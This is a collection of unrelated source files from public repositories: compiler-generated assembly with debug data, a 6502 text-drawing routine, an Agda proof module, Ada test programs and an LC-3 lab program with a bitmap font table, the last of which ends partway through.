.uleb128 0x3
.uleb128 0x24
.byte 0x0
.uleb128 0x3
.uleb128 0x8
.uleb128 0xb
.uleb128 0xb
.uleb128 0x3e
.uleb128 0xb
.byte 0x0
.byte 0x0
.uleb128 0x4
.uleb128 0x16
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.byte 0x0
.byte 0x0
.uleb128 0x5
.uleb128 0xf
.byte 0x0
.uleb128 0xb
.uleb128 0xb
.byte 0x0
.byte 0x0
.uleb128 0x6
.uleb128 0xf
.byte 0x0
.uleb128 0xb
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.byte 0x0
.byte 0x0
.uleb128 0x7
.uleb128 0x13
.byte 0x1
.uleb128 0x1
.uleb128 0x13
.uleb128 0x3
.uleb128 0xe
.uleb128 0xb
.uleb128 0xb
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.byte 0x0
.byte 0x0
.uleb128 0x8
.uleb128 0xd
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0x5
.uleb128 0x49
.uleb128 0x13
.uleb128 0x38
.uleb128 0xa
.byte 0x0
.byte 0x0
.uleb128 0x9
.uleb128 0x16
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.byte 0x0
.byte 0x0
.uleb128 0xa
.uleb128 0xd
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x38
.uleb128 0xa
.byte 0x0
.byte 0x0
.uleb128 0xb
.uleb128 0x1
.byte 0x1
.uleb128 0x1
.uleb128 0x13
.uleb128 0x49
.uleb128 0x13
.byte 0x0
.byte 0x0
.uleb128 0xc
.uleb128 0x21
.byte 0x0
.uleb128 0x49
.uleb128 0x13
.uleb128 0x2f
.uleb128 0xb
.byte 0x0
.byte 0x0
.uleb128 0xd
.uleb128 0x2e
.byte 0x1
.uleb128 0x1
.uleb128 0x13
.uleb128 0x3f
.uleb128 0xc
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x27
.uleb128 0xc
.uleb128 0x49
.uleb128 0x13
.uleb128 0x11
.uleb128 0x1
.uleb128 0x12
.uleb128 0x1
.uleb128 0x40
.uleb128 0x6
.byte 0x0
.byte 0x0
.uleb128 0xe
.uleb128 0x5
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x2
.uleb128 0x6
.byte 0x0
.byte 0x0
.uleb128 0xf
.uleb128 0x34
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x2
.uleb128 0x6
.byte 0x0
.byte 0x0
.uleb128 0x10
.uleb128 0x34
.byte 0x0
.uleb128 0x3
.uleb128 0x8
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x2
.uleb128 0x6
.byte 0x0
.byte 0x0
.uleb128 0x11
.uleb128 0x34
.byte 0x0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x3f
.uleb128 0xc
.uleb128 0x3c
.uleb128 0xc
.byte 0x0
.byte 0x0
.byte 0x0
.section .debug_pubnames,"",@progbits
.long 0x17
.value 0x2
.long .Ldebug_info0
.long 0x34b
.long 0x2b6
.string "main"
.long 0x0
.section .debug_aranges,"",@progbits
.long 0x2c
.value 0x2
.long .Ldebug_info0
.byte 0x8
.byte 0x0
.value 0x0
.value 0x0
.quad .Ltext0
.quad .Letext0-.Ltext0
.quad 0x0
.quad 0x0
.section .debug_str,"MS",@progbits,1
.LASF7:
.string "__off_t"
.LASF12:
.string "_IO_read_ptr"
.LASF24:
.string "_chain"
.LASF30:
.string "_shortbuf"
.LASF4:
.string "signed char"
.LASF18:
.string "_IO_buf_base"
.LASF43:
.string "long long unsigned int"
.LASF44:
.string "long long int"
.LASF47:
.string "bfile"
.LASF25:
.string "_fileno"
.LASF13:
.string "_IO_read_end"
.LASF6:
.string "long int"
.LASF11:
.string "_flags"
.LASF19:
.string "_IO_buf_end"
.LASF28:
.string "_cur_column"
.LASF27:
.string "_old_offset"
.LASF32:
.string "_offset"
.LASF54:
.string "main"
.LASF48:
.string "stdin"
.LASF3:
.string "unsigned int"
.LASF0:
.string "long unsigned int"
.LASF52:
.string "test_hd.c"
.LASF16:
.string "_IO_write_ptr"
.LASF41:
.string "_sbuf"
.LASF2:
.string "short unsigned int"
.LASF31:
.string "_lock"
.LASF49:
.string "stdout"
.LASF26:
.string "_flags2"
.LASF35:
.string "_mode"
.LASF10:
.string "FILE"
.LASF20:
.string "_IO_save_base"
.LASF17:
.string "_IO_write_end"
.LASF53:
.string "/home/pete/yasm"
.LASF37:
.string "_IO_lock_t"
.LASF38:
.string "_IO_FILE"
.LASF39:
.string "_IO_marker"
.LASF42:
.string "_pos"
.LASF23:
.string "_markers"
.LASF1:
.string "unsigned char"
.LASF5:
.string "short int"
.LASF29:
.string "_vtable_offset"
.LASF9:
.string "char"
.LASF51:
.string "GNU C 4.0.2 (Debian 4.0.2-2)"
.LASF40:
.string "_next"
.LASF8:
.string "__off64_t"
.LASF14:
.string "_IO_read_base"
.LASF22:
.string "_IO_save_end"
.LASF33:
.string "__pad1"
.LASF34:
.string "__pad2"
.LASF36:
.string "_unused2"
.LASF50:
.string "stderr"
.LASF46:
.string "argv"
.LASF21:
.string "_IO_backup_base"
.LASF45:
.string "argc"
.LASF15:
.string "_IO_write_base"
.ident "GCC: (GNU) 4.0.2 (Debian 4.0.2-2)"
.section .note.GNU-stack,"",@progbits
|
source/extension/option_x16/video/textdraw.asm
|
paulscottrobson/6502-basic
| 3
|
23297
|
<reponame>paulscottrobson/6502-basic<filename>source/extension/option_x16/video/textdraw.asm
; ************************************************************************************************
; ************************************************************************************************
;
; Name: textdraw.asm
; Purpose: Drawing Utilities for text
; Created: 5th April 2021
; Author: <NAME> (<EMAIL>)
;
; ************************************************************************************************
; ************************************************************************************************
.section code
; ************************************************************************************************
;
; Draw Image (Sprite Graphic)
;
; ************************************************************************************************
Command_Draw: ;; [draw]
lda #TextHandler & $FF
ldx #TextHandler >> 8
jsr GHandler
rts
; ************************************************************************************************
;
; Handler to Image
;
; ************************************************************************************************
TextHandler:
lda gdText+1 ; do we have a string
bne _THHasString
_THCallRenderer:
.pshx ; save X register and y position
lda gy2
pha
lda gy2+1
pha
;
lda #BitmapTextAccess & $FF ; render current image (gdImage)
ldx #BitmapTextAccess >> 8
jsr ImageRenderer
;
pla ; restore y position and x register
sta gy2+1
pla
sta gy2
.pulx
rts
;
; Handle string.
;
_THHasString:
ldx #0 ; position in string
_THStringLoop:
lda gdText ; text => temp0
sta temp0
lda gdText+1
sta temp0+1
;
txa ; length = string length.
ldy #0
cmp (temp0),y
beq _THExit ; if so exit.
;
inx ; next character, put in Y
txa
tay
lda (temp0),y ; char to print, override image
sta gdImage
jsr _THCallRenderer ; render the text
;
lda gdSize ; get size, need to x by 8 as 8x8 font.
asl a
asl a
asl a
clc
adc gX2 ; add to horizontal position
sta gx2
bcc _THStringLoop
inc gx2+1
jmp _THStringLoop ; do the whole lot.
_THExit:
rts
; ************************************************************************************************
;
; 8x8 Bitmap Text Handler
;
; ************************************************************************************************
BitmapTextAccess:
cpy #$FF ; get information
bne _BTABitmap
lda #0 ; bitmap 8x8
ldx #8
ldy #8
rts
;
; Get bitmap data.
;
_BTABitmap:
lda gdImage ; Image => temp0:A
jsr GetRenderCharacterA
rts
; ************************************************************************************************
;
; Get Render Information for character A
;
; ************************************************************************************************
GetRenderCharacterA:
inc X16VeraControl ; alternate port set.
jsr PointVeraCharacterA
lda X16VeraData1 ; get bitmap
dec X16VeraControl ; original port set back
;
ldx #7 ; index into rendercache
sta temp0 ; bitmap in temp 0
_BTADoCache:
lda #0
lsr temp0
bcc _BTANotSet
lda #255
_BTANotSet:
sta renderCache,x
dex
bpl _BTADoCache
;
rts
; ************************************************************************************************
;
; Point Vera to character A row Y
;
; ************************************************************************************************
PointVeraCharacterA:
sta temp0
;
lda #0
asl temp0 ; x temp0:A x 8
rol a
asl temp0
rol a
asl temp0
rol a
ora #(VeraDefaultFont >> 8)&$FF ; A now points into font table.
;
sta X16VeraAddMed ; set up address
lda #$10+(VeraDefaultFont >> 16)
sta X16VeraAddHigh
sty tempShort
lda temp0 ; or Y (vertical line) into temp0
ora tempShort
sta X16VeraAddLow ; address set up.
rts
.send code
|
Pi-/Dir.agda
|
DreamLinuxer/popl21-artifact
| 5
|
16315
|
<filename>Pi-/Dir.agda
module Pi-.Dir where
open import Relation.Binary.PropositionalEquality
data Dir : Set where
◁ : Dir
▷ : Dir
-ᵈⁱʳ_ : Dir → Dir
-ᵈⁱʳ ▷ = ◁
-ᵈⁱʳ ◁ = ▷
_×ᵈⁱʳ_ : Dir → Dir → Dir
◁ ×ᵈⁱʳ ◁ = ▷
◁ ×ᵈⁱʳ ▷ = ◁
▷ ×ᵈⁱʳ ◁ = ◁
▷ ×ᵈⁱʳ ▷ = ▷
identˡᵈⁱʳ : ∀ d → ▷ ×ᵈⁱʳ d ≡ d
identˡᵈⁱʳ ◁ = refl
identˡᵈⁱʳ ▷ = refl
assoclᵈⁱʳ : ∀ d₁ d₂ d₃ → d₁ ×ᵈⁱʳ (d₂ ×ᵈⁱʳ d₃) ≡ (d₁ ×ᵈⁱʳ d₂) ×ᵈⁱʳ d₃
assoclᵈⁱʳ ◁ ◁ ◁ = refl
assoclᵈⁱʳ ◁ ◁ ▷ = refl
assoclᵈⁱʳ ◁ ▷ ◁ = refl
assoclᵈⁱʳ ◁ ▷ ▷ = refl
assoclᵈⁱʳ ▷ ◁ ◁ = refl
assoclᵈⁱʳ ▷ ◁ ▷ = refl
assoclᵈⁱʳ ▷ ▷ ◁ = refl
assoclᵈⁱʳ ▷ ▷ ▷ = refl
commᵈⁱʳ : ∀ d₁ d₂ → d₁ ×ᵈⁱʳ d₂ ≡ d₂ ×ᵈⁱʳ d₁
commᵈⁱʳ ◁ ◁ = refl
commᵈⁱʳ ◁ ▷ = refl
commᵈⁱʳ ▷ ◁ = refl
commᵈⁱʳ ▷ ▷ = refl
assocl-commᵈⁱʳ : ∀ d₁ d₂ d₃ → d₁ ×ᵈⁱʳ (d₂ ×ᵈⁱʳ d₃) ≡ (d₂ ×ᵈⁱʳ d₁) ×ᵈⁱʳ d₃
assocl-commᵈⁱʳ ◁ ◁ ◁ = refl
assocl-commᵈⁱʳ ◁ ◁ ▷ = refl
assocl-commᵈⁱʳ ◁ ▷ ◁ = refl
assocl-commᵈⁱʳ ◁ ▷ ▷ = refl
assocl-commᵈⁱʳ ▷ ◁ ◁ = refl
assocl-commᵈⁱʳ ▷ ◁ ▷ = refl
assocl-commᵈⁱʳ ▷ ▷ ◁ = refl
assocl-commᵈⁱʳ ▷ ▷ ▷ = refl
assoc-commᵈⁱʳ : ∀ d₁ d₂ d₃ → d₁ ×ᵈⁱʳ (d₂ ×ᵈⁱʳ d₃) ≡ d₂ ×ᵈⁱʳ (d₁ ×ᵈⁱʳ d₃)
assoc-commᵈⁱʳ ◁ ◁ ◁ = refl
assoc-commᵈⁱʳ ◁ ◁ ▷ = refl
assoc-commᵈⁱʳ ◁ ▷ ◁ = refl
assoc-commᵈⁱʳ ◁ ▷ ▷ = refl
assoc-commᵈⁱʳ ▷ ◁ ◁ = refl
assoc-commᵈⁱʳ ▷ ◁ ▷ = refl
assoc-commᵈⁱʳ ▷ ▷ ◁ = refl
assoc-commᵈⁱʳ ▷ ▷ ▷ = refl
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c93004f.ada
|
best08618/asylo
| 7
|
4283
|
<reponame>best08618/asylo<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c93004f.ada<gh_stars>1-10
-- C93004F.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT WHEN AN EXCEPTION IS RAISED DURING THE ACTIVATION OF A
-- TASK, OTHER TASKS ARE UNAFFECTED.
-- THE ENCLOSING BLOCK RECEIVES TASKING_ERROR.
-- THIS TESTS CHECKS THE CASE IN WHICH THE TASKS ARE CREATED BY THE
-- ALLOCATION OF A RECORD OF TASKS OR AN ARRAY OF TASKS.
-- <NAME> 8/7/86
WITH REPORT; USE REPORT;
PROCEDURE C93004F IS
BEGIN
TEST ( "C93004F", "CHECK THAT WHEN AN EXCEPTION IS RAISED " &
"DURING THE ACTIVATION OF A TASK, OTHER " &
"TASKS ARE UNAFFECTED. IN THIS TEST, THE " &
"TASKS ARE CREATED BY THE ALLOCATION OF A " &
"RECORD OR AN ARRAY OF TASKS" );
DECLARE
TASK TYPE T IS
ENTRY E;
END T;
TASK TYPE TT;
TASK TYPE TX IS
ENTRY E;
END TX;
TYPE REC IS
RECORD
TR : T;
END RECORD;
TYPE ARR IS ARRAY (IDENT_INT (1) .. IDENT_INT (1)) OF T;
TYPE RECX IS
RECORD
TTX1 : TX;
TTT : TT;
TTX2 : TX;
END RECORD;
TYPE ACCR IS ACCESS REC;
AR : ACCR;
TYPE ACCA IS ACCESS ARR;
AA : ACCA;
TYPE ACCX IS ACCESS RECX;
AX : ACCX;
TASK BODY T IS
BEGIN
ACCEPT E;
END T;
TASK BODY TT IS
BEGIN
AR.TR.E;
EXCEPTION
WHEN OTHERS =>
FAILED ( "TASK AR.TR NOT ACTIVE" );
END TT;
TASK BODY TX IS
I : POSITIVE := IDENT_INT (0); -- RAISE
-- CONSTRAINT_ERROR.
BEGIN
IF I /= IDENT_INT (2) OR I = IDENT_INT (1) + 1 THEN
FAILED ( "TX ACTIVATED OK" );
END IF;
END TX;
BEGIN
AR := NEW REC;
AA := NEW ARR;
AX := NEW RECX;
FAILED ( "TASKING_ERROR NOT RAISED IN MAIN" );
AA.ALL (1).E; -- CLEAN UP.
EXCEPTION
WHEN TASKING_ERROR =>
BEGIN
AA.ALL (1).E;
EXCEPTION
WHEN TASKING_ERROR =>
FAILED ( "AA.ALL (1) NOT ACTIVATED" );
END;
WHEN CONSTRAINT_ERROR =>
FAILED ( "CONSTRAINT_ERROR RAISED IN MAIN" );
WHEN OTHERS =>
FAILED ( "ABNORMAL EXCEPTION IN MAIN" );
END;
RESULT;
END C93004F;
|
test/annotation/test_annotation-append.adb
|
skill-lang/skillAdaTestSuite
| 1
|
28619
|
<gh_stars>1-10
with Ada.Text_IO;
package body Test_Annotation.Append is
File_Name : constant String := "tmp/test-append-annotation.sf";
procedure Initialize (T : in out Test) is
begin
Set_Name (T, "Test_Annotation.Append");
Ahven.Framework.Add_Test_Routine (T, Append_Test_1'Access, "append test 1");
Ahven.Framework.Add_Test_Routine (T, Append_Test_2'Access, "append test 2");
Ahven.Framework.Add_Test_Routine (T, Append_Test_3'Access, "append test 3");
end Initialize;
procedure Set_Up (T : in out Test) is
State : access Skill_State := new Skill_State;
begin
Skill.Read (State, "resources/annotationTest.sf");
Skill.Write (State, File_Name);
declare
A : Date_Type_Access := New_Date (State, 3);
B : Date_Type_Access := New_Date (State, 4);
begin
New_Test (State, Skill_Type_Access (A));
New_Test (State, Skill_Type_Access (B));
end;
Skill.Append (State);
end Set_Up;
procedure Tear_Down (T : in out Test) is
begin
Ada.Directories.Delete_File (File_Name);
end Tear_Down;
procedure Append_Test_1 (T : in out Ahven.Framework.Test_Case'Class) is
State : access Skill_State := new Skill_State;
begin
Skill.Read (State, File_Name);
declare
Test : Test_Type_Access := Skill.Get_Test (State, 1);
Date : Date_Type_Access := Skill.Get_Date (State, 1);
X : Date_Type_Access := Date_Type_Access (Test.Get_F);
Y : Date_Type_Access := Date;
begin
Ahven.Assert (X = Y, "objects are not equal");
end;
end Append_Test_1;
procedure Append_Test_2 (T : in out Ahven.Framework.Test_Case'Class) is
State : access Skill_State := new Skill_State;
begin
Skill.Read (State, File_Name);
declare
Test : Test_Type_Access := Skill.Get_Test (State, 2);
Date : Date_Type_Access := Skill.Get_Date (State, 3);
X : Date_Type_Access := Date_Type_Access (Test.Get_F);
Y : Date_Type_Access := Date;
begin
Ahven.Assert (X = Y, "objects are not equal");
end;
end Append_Test_2;
procedure Append_Test_3 (T : in out Ahven.Framework.Test_Case'Class) is
State : access Skill_State := new Skill_State;
begin
Skill.Read (State, File_Name);
declare
Test : Test_Type_Access := Skill.Get_Test (State, 3);
Date : Date_Type_Access := Skill.Get_Date (State, 4);
X : Date_Type_Access := Date_Type_Access (Test.Get_F);
Y : Date_Type_Access := Date;
begin
Ahven.Assert (X = Y, "objects are not equal");
end;
end Append_Test_3;
end Test_Annotation.Append;
|
lab14/lab14.asm
|
Brant-Skywalker/ZJUI-ECE-120-SP21
| 0
|
17211
|
; This program takes 1 ASCII value as the character to print to the monitor using a large font
; and another 2 ACSII values as input to specify the pixels in the picture of the font.
; To achieve this, this program first calculates the starting address that contains the
; first pixel in the first row of the character to be printed. Then the program go through the 16 rows
; and 8 columns of the picture, determining which pixel to use basing on the specification in FONT_DATA
; and accomplishing the task.
; R0 holds the character to be printed to the console display
; R2 is used as a counter to trace the font specification in each row
; R3 is used as a temporary counter
; R4 is used as a temporary register in multiplication and row iteration
; R5 is a working copy of R2, used to trace the font specification for individual pixels
.ORIG x3000 ; starting address is x3000
; Calculate the starting address in FONT_DATA
AND R4, R4, #0 ; Initialize the temporary register
LDI R3, CHAR
; Calculate (<ASCII of CHAR> * #16) to determine the offset
MULTIPLY
BRz SET
ADD R4, R4, #8
ADD R4, R4, #8
ADD R3, R3, #-1
BR MULTIPLY
; Set R2 as the pointer
SET LEA R2, FONT_DATA
ADD R2, R2, R4
; Initialize the Row Counter to #16 (R3)
AND R3, R3, #0
ADD R3, R3, #8
ADD R3, R3, #8
; Go through each row
NEXT_ROW
; All printed?
ADD R3, R3, #0
BRz DONE
; Initialize the Column Counter (R4)
AND R4, R4, #0
ADD R4, R4, #8
LDR R5, R2, #0 ; Load the pixel info of this row
; Process through the 8 pixels in each row
NEXT_COLUMN
; End of Row?
ADD R4, R4, #0
BRz DONE_ROW
; Calculate the ASCII to be printed
ADD R5, R5, #0 ; Check Current Pixel
BRn FILL_ONE ; Is this a 1?
; print this pixel
LDI R0, ZERO ; Fill in a character for 0.
OUT
BR DONE_PIXEL
FILL_ONE ; Fill in a character for 1.
LDI R0, ONE
OUT
BR DONE_PIXEL
DONE_PIXEL
; Forward the Row-Pixel info
ADD R5, R5, R5
; Decrement the Column Counter and Move to the Next Column
ADD R4, R4, #-1
BR NEXT_COLUMN
DONE_ROW
; Load and print the Linefeed
LD R0, LINEFEED
OUT
; Decrement the Row Counter
ADD R3, R3, #-1
; Move the pointer (R2) to the next row
ADD R2, R2, #1
; Move to the next row
BR NEXT_ROW
; The table below represents an 8x16 font. For each 8-bit extended ASCII
; character, the table uses 16 memory locations, each of which contains
; 8 bits (the high 8 bits, for your convenience) marking pixels in the
; line for that character.
DONE HALT ; terminate the program
ZERO .FILL x5000
ONE .FILL x5001
CHAR .FILL x5002
LINEFEED .FILL x0A
FONT_DATA
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL x8100
.FILL xA500
.FILL x8100
.FILL x8100
.FILL xBD00
.FILL x9900
.FILL x8100
.FILL x8100
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7E00
.FILL xFF00
.FILL xDB00
.FILL xFF00
.FILL xFF00
.FILL xC300
.FILL xE700
.FILL xFF00
.FILL xFF00
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6C00
.FILL xFE00
.FILL xFE00
.FILL xFE00
.FILL xFE00
.FILL x7C00
.FILL x3800
.FILL x1000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x7C00
.FILL xFE00
.FILL x7C00
.FILL x3800
.FILL x1000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x3C00
.FILL xE700
.FILL xE700
.FILL xE700
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x7E00
.FILL xFF00
.FILL xFF00
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x3C00
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xE700
.FILL xC300
.FILL xC300
.FILL xE700
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6600
.FILL x4200
.FILL x4200
.FILL x6600
.FILL x3C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xC300
.FILL x9900
.FILL xBD00
.FILL xBD00
.FILL x9900
.FILL xC300
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL xFF00
.FILL x0000
.FILL x0000
.FILL x1E00
.FILL x0E00
.FILL x1A00
.FILL x3200
.FILL x7800
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL xCC00
.FILL x7800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3C00
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x3C00
.FILL x1800
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3F00
.FILL x3300
.FILL x3F00
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x3000
.FILL x7000
.FILL xF000
.FILL xE000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7F00
.FILL x6300
.FILL x7F00
.FILL x6300
.FILL x6300
.FILL x6300
.FILL x6300
.FILL x6700
.FILL xE700
.FILL xE600
.FILL xC000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL xDB00
.FILL x3C00
.FILL xE700
.FILL x3C00
.FILL xDB00
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x8000
.FILL xC000
.FILL xE000
.FILL xF000
.FILL xF800
.FILL xFE00
.FILL xF800
.FILL xF000
.FILL xE000
.FILL xC000
.FILL x8000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0200
.FILL x0600
.FILL x0E00
.FILL x1E00
.FILL x3E00
.FILL xFE00
.FILL x3E00
.FILL x1E00
.FILL x0E00
.FILL x0600
.FILL x0200
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x3C00
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7F00
.FILL xDB00
.FILL xDB00
.FILL xDB00
.FILL x7B00
.FILL x1B00
.FILL x1B00
.FILL x1B00
.FILL x1B00
.FILL x1B00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x7C00
.FILL xC600
.FILL x6000
.FILL x3800
.FILL x6C00
.FILL xC600
.FILL xC600
.FILL x6C00
.FILL x3800
.FILL x0C00
.FILL xC600
.FILL x7C00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xFE00
.FILL xFE00
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x3C00
.FILL x1800
.FILL x7E00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x7E00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x7E00
.FILL x3C00
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x0C00
.FILL xFE00
.FILL x0C00
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x3000
.FILL x6000
.FILL xFE00
.FILL x6000
.FILL x3000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xC000
.FILL xC000
.FILL xC000
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x2800
.FILL x6C00
.FILL xFE00
.FILL x6C00
.FILL x2800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1000
.FILL x3800
.FILL x3800
.FILL x7C00
.FILL x7C00
.FILL xFE00
.FILL xFE00
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL xFE00
.FILL xFE00
.FILL x7C00
.FILL x7C00
.FILL x3800
.FILL x3800
.FILL x1000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x1800
.FILL x3C00
.FILL x3C00
.FILL x3C00
.FILL x1800
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x1800
.FILL x1800
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x0000
.FILL x6600
.FILL x6600
.FILL x6600
.FILL x2400
.FILL x0000
.FILL x0000
